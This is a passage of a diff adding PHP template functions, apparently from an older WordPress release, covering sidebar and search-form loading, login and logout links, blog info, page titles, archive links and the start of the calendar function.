+ * @since 1.5.0
+ * @uses do_action() Calls 'get_sidebar' action.
+ *
+ * @param string $name The name of the specialised sidebar.
+ */
+function get_sidebar( $name = null ) {
+	do_action( 'get_sidebar', $name );
+
+	$templates = array();
+	if ( isset($name) )
+		$templates[] = "sidebar-{$name}.php";
+
+	$templates[] = "sidebar.php";
+
+	if ('' == locate_template($templates, true))
+		load_template( get_theme_root() . '/default/sidebar.php');
+}
+
+/**
+ * Display search form.
+ *
+ * Will first attempt to locate the searchform.php file in either the child or
+ * the parent, then load it. If it doesn't exist, then the default search form
+ * will be displayed. The default search form is HTML, which will be displayed.
+ * There is a filter applied to the search form HTML in order to edit or replace
+ * it. The filter is 'get_search_form'.
+ *
+ * This function is primarily used by themes which want to hardcode the search
+ * form into the sidebar and also by the search widget in WordPress.
+ *
+ * There is also an action that is called whenever the function is run called,
+ * 'get_search_form'. This can be useful for outputting JavaScript that the
+ * search relies on or various formatting that applies to the beginning of the
+ * search. To give a few examples of what it can be used for.
+ *
+ * @since 2.7.0
+ */
+function get_search_form() {
+	do_action( 'get_search_form' );
+
+	$search_form_template = locate_template(array('searchform.php'));
+	if ( '' != $search_form_template ) {
+		require($search_form_template);
+		return;
+	}
+
+	$form = '<form role="search" method="get" id="searchform" action="' . get_option('home') . '/" >
+	<div><label class="screen-reader-text" for="s">' . __('Search for:') . '</label>
+	<input type="text" value="' . esc_attr(apply_filters('the_search_query', get_search_query())) . '" name="s" id="s" />
+	<input type="submit" id="searchsubmit" value="'. esc_attr__('Search') .'" />
+	</div>
+	</form>';
+
+	echo apply_filters('get_search_form', $form);
+}
+
+/**
+ * Display the Log In/Out link.
+ *
+ * Displays a link, which allows the user to navigate to the Log In page to log in
+ * or log out depending on whether or not they are currently logged in.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'loginout' hook on HTML link content.
+ *
+ * @param string $redirect Optional path to redirect to on login/logout.
+ */
+function wp_loginout($redirect = '') {
+	if ( ! is_user_logged_in() )
+		$link = '<a href="' . esc_url( wp_login_url($redirect) ) . '">' . __('Log in') . '</a>';
+	else
+		$link = '<a href="' . esc_url( wp_logout_url($redirect) ) . '">' . __('Log out') . '</a>';
+
+	echo apply_filters('loginout', $link);
+}
+
+/**
+ * Returns the Log Out URL.
+ *
+ * Returns the URL that allows the user to log out of the site
+ *
+ * @since 2.7
+ * @uses wp_nonce_url() To protect against CSRF
+ * @uses site_url() To generate the log in URL
+ * @uses apply_filters() calls 'logout_url' hook on final logout url
+ *
+ * @param string $redirect Path to redirect to on logout.
+ */
+function wp_logout_url($redirect = '') {
+	$args = array( 'action' => 'logout' );
+	if ( !empty($redirect) ) {
+		$args['redirect_to'] = $redirect;
+	}
+
+	$logout_url = add_query_arg($args, site_url('wp-login.php', 'login'));
+	$logout_url = wp_nonce_url( $logout_url, 'log-out' );
+
+	return apply_filters('logout_url', $logout_url, $redirect);
+}
+
+/**
+ * Returns the Log In URL.
+ *
+ * Returns the URL that allows the user to log in to the site
+ *
+ * @since 2.7
+ * @uses site_url() To generate the log in URL
+ * @uses apply_filters() calls 'login_url' hook on final login url
+ *
+ * @param string $redirect Path to redirect to on login.
+ */
+function wp_login_url($redirect = '') {
+	$login_url = site_url('wp-login.php', 'login');
+
+	if ( !empty($redirect) ) {
+		$login_url = add_query_arg('redirect_to', urlencode($redirect), $login_url);
+	}
+
+	return apply_filters('login_url', $login_url, $redirect);
+}
+
+/**
+ * Returns the Lost Password URL.
+ *
+ * Returns the URL that allows the user to retrieve the lost password
+ *
+ * @since 2.8.0
+ * @uses site_url() To generate the lost password URL
+ * @uses apply_filters() calls 'lostpassword_url' hook on the lostpassword url
+ *
+ * @param string $redirect Path to redirect to on login.
+ */
+function wp_lostpassword_url($redirect = '') {
+	$args = array( 'action' => 'lostpassword' );
+	if ( !empty($redirect) ) {
+		$args['redirect_to'] = $redirect;
+	}
+
+	$lostpassword_url = add_query_arg($args, site_url('wp-login.php', 'login'));
+	return apply_filters('lostpassword_url', $lostpassword_url, $redirect);
+}
+
+/**
+ * Display the Registration or Admin link.
+ *
+ * Display a link which allows the user to navigate to the registration page if
+ * not logged in and registration is enabled or to the dashboard if logged in.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'register' hook on register / admin link content.
+ *
+ * @param string $before Text to output before the link (defaults to <li>).
+ * @param string $after Text to output after the link (defaults to </li>).
+ */
+function wp_register( $before = '<li>', $after = '</li>' ) {
+
+	if ( ! is_user_logged_in() ) {
+		if ( get_option('users_can_register') )
+			$link = $before . '<a href="' . site_url('wp-login.php?action=register', 'login') . '">' . __('Register') . '</a>' . $after;
+		else
+			$link = '';
+	} else {
+		$link = $before . '<a href="' . admin_url() . '">' . __('Site Admin') . '</a>' . $after;
+	}
+
+	echo apply_filters('register', $link);
+}
+
+/**
+ * Theme container function for the 'wp_meta' action.
+ *
+ * The 'wp_meta' action can have several purposes, depending on how you use it,
+ * but one purpose might have been to allow for theme switching.
+ *
+ * @since 1.5.0
+ * @link http://trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action.
+ * @uses do_action() Calls 'wp_meta' hook.
+ */
+function wp_meta() {
+	do_action('wp_meta');
+}
+
+/**
+ * Display information about the blog.
+ *
+ * @see get_bloginfo() For possible values for the parameter.
+ * @since 0.71
+ *
+ * @param string $show What to display.
+ */
+function bloginfo($show='') {
+	echo get_bloginfo($show, 'display');
+}
+
+/**
+ * Retrieve information about the blog.
+ *
+ * Some show parameter values are deprecated and will be removed in future
+ * versions. Care should be taken to check the function contents and know what
+ * the deprecated blog info options are. Options without "// DEPRECATED" are
+ * the preferred and recommended ways to get the information.
+ *
+ * The possible values for the 'show' parameter are listed below.
+ * <ol>
+ * <li><strong>url<strong> - Blog URI to homepage.</li>
+ * <li><strong>wpurl</strong> - Blog URI path to WordPress.</li>
+ * <li><strong>description</strong> - Secondary title</li>
+ * </ol>
+ *
+ * The feed URL options can be retrieved from 'rdf_url' (RSS 0.91),
+ * 'rss_url' (RSS 1.0), 'rss2_url' (RSS 2.0), or 'atom_url' (Atom feed). The
+ * comment feeds can be retrieved from the 'comments_atom_url' (Atom comment
+ * feed) or 'comments_rss2_url' (RSS 2.0 comment feed).
+ *
+ * There are many other options and you should check the function contents:
+ * {@source 32 37}
+ *
+ * @since 0.71
+ *
+ * @param string $show Blog info to retrieve.
+ * @param string $filter How to filter what is retrieved.
+ * @return string Mostly string values, might be empty.
+ */
+function get_bloginfo($show = '', $filter = 'raw') {
+
+	switch($show) {
+		case 'url' :
+		case 'home' : // DEPRECATED
+		case 'siteurl' : // DEPRECATED
+			$output = get_option('home');
+			break;
+		case 'wpurl' :
+			$output = get_option('siteurl');
+			break;
+		case 'description':
+			$output = get_option('blogdescription');
+			break;
+		case 'rdf_url':
+			$output = get_feed_link('rdf');
+			break;
+		case 'rss_url':
+			$output = get_feed_link('rss');
+			break;
+		case 'rss2_url':
+			$output = get_feed_link('rss2');
+			break;
+		case 'atom_url':
+			$output = get_feed_link('atom');
+			break;
+		case 'comments_atom_url':
+			$output = get_feed_link('comments_atom');
+			break;
+		case 'comments_rss2_url':
+			$output = get_feed_link('comments_rss2');
+			break;
+		case 'pingback_url':
+			$output = get_option('siteurl') .'/xmlrpc.php';
+			break;
+		case 'stylesheet_url':
+			$output = get_stylesheet_uri();
+			break;
+		case 'stylesheet_directory':
+			$output = get_stylesheet_directory_uri();
+			break;
+		case 'template_directory':
+		case 'template_url':
+			$output = get_template_directory_uri();
+			break;
+		case 'admin_email':
+			$output = get_option('admin_email');
+			break;
+		case 'charset':
+			$output = get_option('blog_charset');
+			if ('' == $output) $output = 'UTF-8';
+			break;
+		case 'html_type' :
+			$output = get_option('html_type');
+			break;
+		case 'version':
+			global $wp_version;
+			$output = $wp_version;
+			break;
+		case 'language':
+			$output = get_locale();
+			$output = str_replace('_', '-', $output);
+			break;
+		case 'text_direction':
+			global $wp_locale;
+			$output = $wp_locale->text_direction;
+			break;
+		case 'name':
+		default:
+			$output = get_option('blogname');
+			break;
+	}
+
+	$url = true;
+	if (strpos($show, 'url') === false &&
+		strpos($show, 'directory') === false &&
+		strpos($show, 'home') === false)
+		$url = false;
+
+	if ( 'display' == $filter ) {
+		if ( $url )
+			$output = apply_filters('bloginfo_url', $output, $show);
+		else
+			$output = apply_filters('bloginfo', $output, $show);
+	}
+
+	return $output;
+}
+
+/**
+ * Display or retrieve page title for all areas of blog.
+ *
+ * By default, the page title will display the separator before the page title,
+ * so that the blog title will be before the page title. This is not good for
+ * title display, since the blog title shows up on most tabs and not what is
+ * important, which is the page that the user is looking at.
+ *
+ * There are also SEO benefits to having the blog title after or to the 'right'
+ * or the page title. However, it is mostly common sense to have the blog title
+ * to the right with most browsers supporting tabs. You can achieve this by
+ * using the seplocation parameter and setting the value to 'right'. This change
+ * was introduced around 2.5.0, in case backwards compatibility of themes is
+ * important.
+ *
+ * @since 1.0.0
+ *
+ * @param string $sep Optional, default is '&raquo;'. How to separate the various items within the page title.
+ * @param bool $display Optional, default is true. Whether to display or retrieve title.
+ * @param string $seplocation Optional. Direction to display title, 'right'.
+ * @return string|null String on retrieve, null when displaying.
+ */
+function wp_title($sep = '&raquo;', $display = true, $seplocation = '') {
+	global $wpdb, $wp_locale, $wp_query;
+
+	$cat = get_query_var('cat');
+	$tag = get_query_var('tag_id');
+	$category_name = get_query_var('category_name');
+	$author = get_query_var('author');
+	$author_name = get_query_var('author_name');
+	$m = get_query_var('m');
+	$year = get_query_var('year');
+	$monthnum = get_query_var('monthnum');
+	$day = get_query_var('day');
+	$search = get_query_var('s');
+	$title = '';
+
+	$t_sep = '%WP_TITILE_SEP%'; // Temporary separator, for accurate flipping, if necessary
+
+	// If there's a category
+	if ( !empty($cat) ) {
+			// category exclusion
+			if ( !stristr($cat,'-') )
+				$title = apply_filters('single_cat_title', get_the_category_by_ID($cat));
+	} elseif ( !empty($category_name) ) {
+		if ( stristr($category_name,'/') ) {
+				$category_name = explode('/',$category_name);
+				if ( $category_name[count($category_name)-1] )
+					$category_name = $category_name[count($category_name)-1]; // no trailing slash
+				else
+					$category_name = $category_name[count($category_name)-2]; // there was a trailling slash
+		}
+		$cat = get_term_by('slug', $category_name, 'category', OBJECT, 'display');
+		if ( $cat )
+			$title = apply_filters('single_cat_title', $cat->name);
+	}
+
+	if ( !empty($tag) ) {
+		$tag = get_term($tag, 'post_tag', OBJECT, 'display');
+		if ( is_wp_error( $tag ) )
+			return $tag;
+		if ( ! empty($tag->name) )
+			$title = apply_filters('single_tag_title', $tag->name);
+	}
+
+	// If there's an author
+	if ( !empty($author) ) {
+		$title = get_userdata($author);
+		$title = $title->display_name;
+	}
+	if ( !empty($author_name) ) {
+		// We do a direct query here because we don't cache by nicename.
+		$title = $wpdb->get_var($wpdb->prepare("SELECT display_name FROM $wpdb->users WHERE user_nicename = %s", $author_name));
+	}
+
+	// If there's a month
+	if ( !empty($m) ) {
+		$my_year = substr($m, 0, 4);
+		$my_month = $wp_locale->get_month(substr($m, 4, 2));
+		$my_day = intval(substr($m, 6, 2));
+		$title = "$my_year" . ($my_month ? "$t_sep$my_month" : "") . ($my_day ? "$t_sep$my_day" : "");
+	}
+
+	if ( !empty($year) ) {
+		$title = $year;
+		if ( !empty($monthnum) )
+			$title .= "$t_sep" . $wp_locale->get_month($monthnum);
+		if ( !empty($day) )
+			$title .= "$t_sep" . zeroise($day, 2);
+	}
+
+	// If there is a post
+	if ( is_single() || ( is_home() && !is_front_page() ) || ( is_page() && !is_front_page() ) ) {
+		$post = $wp_query->get_queried_object();
+		$title = strip_tags( apply_filters( 'single_post_title', $post->post_title ) );
+	}
+
+	// If there's a taxonomy
+	if ( is_tax() ) {
+		$taxonomy = get_query_var( 'taxonomy' );
+		$tax = get_taxonomy( $taxonomy );
+		$tax = $tax->label;
+		$term = $wp_query->get_queried_object();
+		$term = $term->name;
+		$title = "$tax$t_sep$term";
+	}
+
+	//If it's a search
+	if ( is_search() ) {
+		/* translators: 1: separator, 2: search phrase */
+		$title = sprintf(__('Search Results %1$s %2$s'), $t_sep, strip_tags($search));
+	}
+
+	if ( is_404() ) {
+		$title = __('Page not found');
+	}
+
+	$prefix = '';
+	if ( !empty($title) )
+		$prefix = " $sep ";
+
+ 	// Determines position of the separator and direction of the breadcrumb
+	if ( 'right' == $seplocation ) { // sep on right, so reverse the order
+		$title_array = explode( $t_sep, $title );
+		$title_array = array_reverse( $title_array );
+		$title = implode( " $sep ", $title_array ) . $prefix;
+	} else {
+		$title_array = explode( $t_sep, $title );
+		$title = $prefix . implode( " $sep ", $title_array );
+	}
+
+	$title = apply_filters('wp_title', $title, $sep, $seplocation);
+
+	// Send it out
+	if ( $display )
+		echo $title;
+	else
+		return $title;
+
+}
+
+/**
+ * Display or retrieve page title for post.
+ *
+ * This is optimized for single.php template file for displaying the post title.
+ * Only useful for posts, does not support pages for example.
+ *
+ * It does not support placing the separator after the title, but by leaving the
+ * prefix parameter empty, you can set the title separator manually. The prefix
+ * does not automatically place a space between the prefix, so if there should
+ * be a space, the parameter value will need to have it at the end.
+ *
+ * @since 0.71
+ * @uses $wpdb
+ *
+ * @param string $prefix Optional. What to display before the title.
+ * @param bool $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|null Title when retrieving, null when displaying or failure.
+ */
+function single_post_title($prefix = '', $display = true) {
+	global $wpdb;
+	$p = get_query_var('p');
+	$name = get_query_var('name');
+
+	if ( intval($p) || '' != $name ) {
+		if ( !$p )
+			$p = $wpdb->get_var($wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_name = %s", $name));
+		$post = & get_post($p);
+		$title = $post->post_title;
+		$title = apply_filters('single_post_title', $title);
+		if ( $display )
+			echo $prefix.strip_tags($title);
+		else
+			return strip_tags($title);
+	}
+}
+
+/**
+ * Display or retrieve page title for category archive.
+ *
+ * This is useful for category template file or files, because it is optimized
+ * for category page title and with less overhead than {@link wp_title()}.
+ *
+ * It does not support placing the separator after the title, but by leaving the
+ * prefix parameter empty, you can set the title separator manually. The prefix
+ * does not automatically place a space between the prefix, so if there should
+ * be a space, the parameter value will need to have it at the end.
+ *
+ * @since 0.71
+ *
+ * @param string $prefix Optional. What to display before the title.
+ * @param bool $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|null Title when retrieving, null when displaying or failure.
+ */
+function single_cat_title($prefix = '', $display = true ) {
+	$cat = intval( get_query_var('cat') );
+	if ( !empty($cat) && !(strtoupper($cat) == 'ALL') ) {
+		$my_cat_name = apply_filters('single_cat_title', get_the_category_by_ID($cat));
+		if ( !empty($my_cat_name) ) {
+			if ( $display )
+				echo $prefix.strip_tags($my_cat_name);
+			else
+				return strip_tags($my_cat_name);
+		}
+	} else if ( is_tag() ) {
+		return single_tag_title($prefix, $display);
+	}
+}
+
+/**
+ * Display or retrieve page title for tag post archive.
+ *
+ * Useful for tag template files for displaying the tag page title. It has less
+ * overhead than {@link wp_title()}, because of its limited implementation.
+ *
+ * It does not support placing the separator after the title, but by leaving the
+ * prefix parameter empty, you can set the title separator manually. The prefix
+ * does not automatically place a space between the prefix, so if there should
+ * be a space, the parameter value will need to have it at the end.
+ *
+ * @since 2.3.0
+ *
+ * @param string $prefix Optional. What to display before the title.
+ * @param bool $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|null Title when retrieving, null when displaying or failure.
+ */
+function single_tag_title($prefix = '', $display = true ) {
+	if ( !is_tag() )
+		return;
+
+	$tag_id = intval( get_query_var('tag_id') );
+
+	if ( !empty($tag_id) ) {
+		$my_tag = &get_term($tag_id, 'post_tag', OBJECT, 'display');
+		if ( is_wp_error( $my_tag ) )
+			return false;
+		$my_tag_name = apply_filters('single_tag_title', $my_tag->name);
+		if ( !empty($my_tag_name) ) {
+			if ( $display )
+				echo $prefix . $my_tag_name;
+			else
+				return $my_tag_name;
+		}
+	}
+}
+
+/**
+ * Display or retrieve page title for post archive based on date.
+ *
+ * Useful for when the template only needs to display the month and year, if
+ * either are available. Optimized for just this purpose, so if it is all that
+ * is needed, should be better than {@link wp_title()}.
+ *
+ * It does not support placing the separator after the title, but by leaving the
+ * prefix parameter empty, you can set the title separator manually. The prefix
+ * does not automatically place a space between the prefix, so if there should
+ * be a space, the parameter value will need to have it at the end.
+ *
+ * @since 0.71
+ *
+ * @param string $prefix Optional. What to display before the title.
+ * @param bool $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|null Title when retrieving, null when displaying or failure.
+ */
+function single_month_title($prefix = '', $display = true ) {
+	global $wp_locale;
+
+	$m = get_query_var('m');
+	$year = get_query_var('year');
+	$monthnum = get_query_var('monthnum');
+
+	if ( !empty($monthnum) && !empty($year) ) {
+		$my_year = $year;
+		$my_month = $wp_locale->get_month($monthnum);
+	} elseif ( !empty($m) ) {
+		$my_year = substr($m, 0, 4);
+		$my_month = $wp_locale->get_month(substr($m, 4, 2));
+	}
+
+	if ( empty($my_month) )
+		return false;
+
+	$result = $prefix . $my_month . $prefix . $my_year;
+
+	if ( !$display )
+		return $result;
+	echo $result;
+}
+
+/**
+ * Retrieve archive link content based on predefined or custom code.
+ *
+ * The format can be one of four styles. The 'link' for head element, 'option'
+ * for use in the select element, 'html' for use in list (either ol or ul HTML
+ * elements). Custom content is also supported using the before and after
+ * parameters.
+ *
+ * The 'link' format uses the link HTML element with the <em>archives</em>
+ * relationship. The before and after parameters are not used. The text
+ * parameter is used to describe the link.
+ *
+ * The 'option' format uses the option HTML element for use in select element.
+ * The value is the url parameter and the before and after parameters are used
+ * between the text description.
+ *
+ * The 'html' format, which is the default, uses the li HTML element for use in
+ * the list HTML elements. The before parameter is before the link and the after
+ * parameter is after the closing link.
+ *
+ * The custom format uses the before parameter before the link ('a' HTML
+ * element) and the after parameter after the closing link tag. If the above
+ * three values for the format are not used, then custom format is assumed.
+ *
+ * @since 1.0.0
+ * @author Orien
+ * @link http://icecode.com/ link navigation hack by Orien
+ *
+ * @param string $url URL to archive.
+ * @param string $text Archive text description.
+ * @param string $format Optional, default is 'html'. Can be 'link', 'option', 'html', or custom.
+ * @param string $before Optional.
+ * @param string $after Optional.
+ * @return string HTML link content for archive.
+ */
+function get_archives_link($url, $text, $format = 'html', $before = '', $after = '') {
+	$text = wptexturize($text);
+	$title_text = esc_attr($text);
+	$url = esc_url($url);
+
+	if ('link' == $format)
+		$link_html = "\t<link rel='archives' title='$title_text' href='$url' />\n";
+	elseif ('option' == $format)
+		$link_html = "\t<option value='$url'>$before $text $after</option>\n";
+	elseif ('html' == $format)
+		$link_html = "\t<li>$before<a href='$url' title='$title_text'>$text</a>$after</li>\n";
+	else // custom
+		$link_html = "\t$before<a href='$url' title='$title_text'>$text</a>$after\n";
+
+	$link_html = apply_filters( "get_archives_link", $link_html );
+
+	return $link_html;
+}
+
+/**
+ * Display archive links based on type and format.
+ *
+ * The 'type' argument offers a few choices and by default will display monthly
+ * archive links. The other options for values are 'daily', 'weekly', 'monthly',
+ * 'yearly', 'postbypost' or 'alpha'. Both 'postbypost' and 'alpha' display the
+ * same archive link list, the difference between the two is that 'alpha'
+ * will order by post title and 'postbypost' will order by post date.
+ *
+ * The date archives will logically display dates with links to the archive post
+ * page. The 'postbypost' and 'alpha' values for 'type' argument will display
+ * the post titles.
+ *
+ * The 'limit' argument will only display a limited amount of links, specified
+ * by the 'limit' integer value. By default, there is no limit. The
+ * 'show_post_count' argument will show how many posts are within the archive.
+ * By default, the 'show_post_count' argument is set to false.
+ *
+ * For the 'format', 'before', and 'after' arguments, see {@link
+ * get_archives_link()}. The values of these arguments have to do with that
+ * function.
+ *
+ * @since 1.2.0
+ *
+ * @param string|array $args Optional. Override defaults.
+ */
+function wp_get_archives($args = '') {
+	global $wpdb, $wp_locale;
+
+	$defaults = array(
+		'type' => 'monthly', 'limit' => '',
+		'format' => 'html', 'before' => '',
+		'after' => '', 'show_post_count' => false,
+		'echo' => 1
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	extract( $r, EXTR_SKIP );
+
+	if ( '' == $type )
+		$type = 'monthly';
+
+	if ( '' != $limit ) {
+		$limit = absint($limit);
+		$limit = ' LIMIT '.$limit;
+	}
+
+	// this is what will separate dates on weekly archive links
+	$archive_week_separator = '&#8211;';
+
+	// over-ride general date format ? 0 = no: use the date format set in Options, 1 = yes: over-ride
+	$archive_date_format_over_ride = 0;
+
+	// options for daily archive (only if you over-ride the general date format)
+	$archive_day_date_format = 'Y/m/d';
+
+	// options for weekly archive (only if you over-ride the general date format)
+	$archive_week_start_date_format = 'Y/m/d';
+	$archive_week_end_date_format	= 'Y/m/d';
+
+	if ( !$archive_date_format_over_ride ) {
+		$archive_day_date_format = get_option('date_format');
+		$archive_week_start_date_format = get_option('date_format');
+		$archive_week_end_date_format = get_option('date_format');
+	}
+
+	//filters
+	$where = apply_filters('getarchives_where', "WHERE post_type = 'post' AND post_status = 'publish'", $r );
+	$join = apply_filters('getarchives_join', "", $r);
+
+	$output = '';
+
+	if ( 'monthly' == $type ) {
+		$query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date DESC $limit";
+		$key = md5($query);
+		$cache = wp_cache_get( 'wp_get_archives' , 'general');
+		if ( !isset( $cache[ $key ] ) ) {
+			$arcresults = $wpdb->get_results($query);
+			$cache[ $key ] = $arcresults;
+			wp_cache_add( 'wp_get_archives', $cache, 'general' );
+		} else {
+			$arcresults = $cache[ $key ];
+		}
+		if ( $arcresults ) {
+			$afterafter = $after;
+			foreach ( (array) $arcresults as $arcresult ) {
+				$url = get_month_link( $arcresult->year, $arcresult->month );
+				$text = sprintf(__('%1$s %2$d'), $wp_locale->get_month($arcresult->month), $arcresult->year);
+				if ( $show_post_count )
+					$after = '&nbsp;('.$arcresult->posts.')' . $afterafter;
+				$output .= get_archives_link($url, $text, $format, $before, $after);
+			}
+		}
+	} elseif ('yearly' == $type) {
+		$query = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date DESC $limit";
+		$key = md5($query);
+		$cache = wp_cache_get( 'wp_get_archives' , 'general');
+		if ( !isset( $cache[ $key ] ) ) {
+			$arcresults = $wpdb->get_results($query);
+			$cache[ $key ] = $arcresults;
+			wp_cache_add( 'wp_get_archives', $cache, 'general' );
+		} else {
+			$arcresults = $cache[ $key ];
+		}
+		if ($arcresults) {
+			$afterafter = $after;
+			foreach ( (array) $arcresults as $arcresult) {
+				$url = get_year_link($arcresult->year);
+				$text = sprintf('%d', $arcresult->year);
+				if ($show_post_count)
+					$after = '&nbsp;('.$arcresult->posts.')' . $afterafter;
+				$output .= get_archives_link($url, $text, $format, $before, $after);
+			}
+		}
+	} elseif ( 'daily' == $type ) {
+		$query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date DESC $limit";
+		$key = md5($query);
+		$cache = wp_cache_get( 'wp_get_archives' , 'general');
+		if ( !isset( $cache[ $key ] ) ) {
+			$arcresults = $wpdb->get_results($query);
+			$cache[ $key ] = $arcresults;
+			wp_cache_add( 'wp_get_archives', $cache, 'general' );
+		} else {
+			$arcresults = $cache[ $key ];
+		}
+		if ( $arcresults ) {
+			$afterafter = $after;
+			foreach ( (array) $arcresults as $arcresult ) {
+				$url	= get_day_link($arcresult->year, $arcresult->month, $arcresult->dayofmonth);
+				$date = sprintf('%1$d-%2$02d-%3$02d 00:00:00', $arcresult->year, $arcresult->month, $arcresult->dayofmonth);
+				$text = mysql2date($archive_day_date_format, $date);
+				if ($show_post_count)
+					$after = '&nbsp;('.$arcresult->posts.')'.$afterafter;
+				$output .= get_archives_link($url, $text, $format, $before, $after);
+			}
+		}
+	} elseif ( 'weekly' == $type ) {
+		$start_of_week = get_option('start_of_week');
+		$query = "SELECT DISTINCT WEEK(post_date, $start_of_week) AS `week`, YEAR(post_date) AS yr, DATE_FORMAT(post_date, '%Y-%m-%d') AS yyyymmdd, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY WEEK(post_date, $start_of_week), YEAR(post_date) ORDER BY post_date DESC $limit";
+		$key = md5($query);
+		$cache = wp_cache_get( 'wp_get_archives' , 'general');
+		if ( !isset( $cache[ $key ] ) ) {
+			$arcresults = $wpdb->get_results($query);
+			$cache[ $key ] = $arcresults;
+			wp_cache_add( 'wp_get_archives', $cache, 'general' );
+		} else {
+			$arcresults = $cache[ $key ];
+		}
+		$arc_w_last = '';
+		$afterafter = $after;
+		if ( $arcresults ) {
+				foreach ( (array) $arcresults as $arcresult ) {
+					if ( $arcresult->week != $arc_w_last ) {
+						$arc_year = $arcresult->yr;
+						$arc_w_last = $arcresult->week;
+						$arc_week = get_weekstartend($arcresult->yyyymmdd, get_option('start_of_week'));
+						$arc_week_start = date_i18n($archive_week_start_date_format, $arc_week['start']);
+						$arc_week_end = date_i18n($archive_week_end_date_format, $arc_week['end']);
+						$url  = sprintf('%1$s/%2$s%3$sm%4$s%5$s%6$sw%7$s%8$d', get_option('home'), '', '?', '=', $arc_year, '&amp;', '=', $arcresult->week);
+						$text = $arc_week_start . $archive_week_separator . $arc_week_end;
+						if ($show_post_count)
+							$after = '&nbsp;('.$arcresult->posts.')'.$afterafter;
+						$output .= get_archives_link($url, $text, $format, $before, $after);
+					}
+				}
+		}
+	} elseif ( ( 'postbypost' == $type ) || ('alpha' == $type) ) {
+		$orderby = ('alpha' == $type) ? "post_title ASC " : "post_date DESC ";
+		$query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit";
+		$key = md5($query);
+		$cache = wp_cache_get( 'wp_get_archives' , 'general');
+		if ( !isset( $cache[ $key ] ) ) {
+			$arcresults = $wpdb->get_results($query);
+			$cache[ $key ] = $arcresults;
+			wp_cache_add( 'wp_get_archives', $cache, 'general' );
+		} else {
+			$arcresults = $cache[ $key ];
+		}
+		if ( $arcresults ) {
+			foreach ( (array) $arcresults as $arcresult ) {
+				if ( $arcresult->post_date != '0000-00-00 00:00:00' ) {
+					$url  = get_permalink($arcresult);
+					$arc_title = $arcresult->post_title;
+					if ( $arc_title )
+						$text = strip_tags(apply_filters('the_title', $arc_title));
+					else
+						$text = $arcresult->ID;
+					$output .= get_archives_link($url, $text, $format, $before, $after);
+				}
+			}
+		}
+	}
+	if ( $echo )
+		echo $output;
+	else
+		return $output;
+}
+
+/**
+ * Get number of days since the start of the week.
+ *
+ * @since 1.5.0
+ * @usedby get_calendar()
+ *
+ * @param int $num Number of day.
+ * @return int Days since the start of the week.
+ */
+function calendar_week_mod($num) {
+	$base = 7;
+	return ($num - $base*floor($num/$base));
+}
+
+/**
+ * Display calendar with days that have posts as links.
+ *
+ * The calendar is cached, which will be retrieved, if it exists. If there are
+ * no posts for the month, then it will not be displayed.
+ *
+ * @since 1.0.0
+ *
+ * @param bool $initial Optional, default is true. Use initial calendar names.
+ */
+function get_calendar($initial = true) {
+	global $wpdb, $m, $monthnum, $year, $wp_locale, $posts;
+
+	$cache = array();
+	$key = md5( $m . $monthnum . $year );
+	if ( $cache = wp_cache_get( 'get_calendar', 'calendar' ) ) {
+		if ( is_array($cache) && isset( $cache[ $key ] ) ) {
+			echo $cache[ $key ];
+			return;
+		}
+	}
+
+	if ( !is_array($cache) )
+		$cache = array();
+
+	// Quick check. If we have no posts at all, abort!
+	if ( !$posts ) {
+		$gotsome = $wpdb->get_var("SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1");
+		if ( !$gotsome ) {
+			$cache[ $key ] = '';
+			wp_cache_set( 'get_calendar', $cache, 'calendar' );
+			return;
+		}
+	}
+
+	ob_start();
+	if ( isset($_GET['w']) )
+		$w = ''.intval($_GET['w']);
+
+	// week_begins = 0 stands for Sunday
+	$week_begins = intval(get_option('start_of_week'));
+
+	// Let's figure out when we are
+	if ( !empty($monthnum) && !empty($year) ) {
+		$thismonth = ''.zeroise(intval($monthnum), 2);
+		$thisyear = ''.intval($year);
+	} elseif ( !empty($w) ) {
+		// We need to get the month from MySQL
+		$thisyear = ''.intval(substr($m, 0, 4));
+		$d = (($w - 1) * 7) + 6; //it seems MySQL's weeks disagree with PHP's
+		$thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('${thisyear}0101', INTERVAL $d DAY) ), '%m')");
+	} elseif ( !empty($m) ) {
+		$thisyear = ''.intval(substr($m, 0, 4));
+		if ( strlen($m) < 6 )
+				$thismonth = '01';
+		else
+				$thismonth = ''.zeroise(intval(substr($m, 4, 2)), 2);
+	} else {
+		$thisyear = gmdate('Y', current_time('timestamp'));
+		$thismonth = gmdate('m', current_time('timestamp'));
+	}
+
+	$unixmonth = mktime(0, 0 , 0, $thismonth, 1, $thisyear);
+
+	// Get the next and previous month and year with at least one post
+	$previous = $wpdb->get_row("SELECT DISTINCT MONTH(post_date) AS month, YEAR(post_date) AS year
+		FROM $wpdb->posts
+		WHERE post_date < '$thisyear-$thismonth-01'
+		AND post_type = 'post' AND post_status = 'publish'
+			ORDER BY post_date DESC
+			LIMIT 1");
+	$next = $wpdb->get_row("SELECT	DISTINCT MONTH(post_date) AS month, YEAR(post_date) AS year
+		FROM $wpdb->posts
+		WHERE post_date >	'$thisyear-$thismonth-01'
+		AND MONTH( post_date ) != MONTH( '$thisyear-$thismonth-01' )
+		AND post_type = 'post' AND post_status = 'publish'
+			ORDER	BY post_date ASC
+			LIMIT 1");
+
+	/* translators: Calendar caption: 1: month name, 2: 4-digit year */
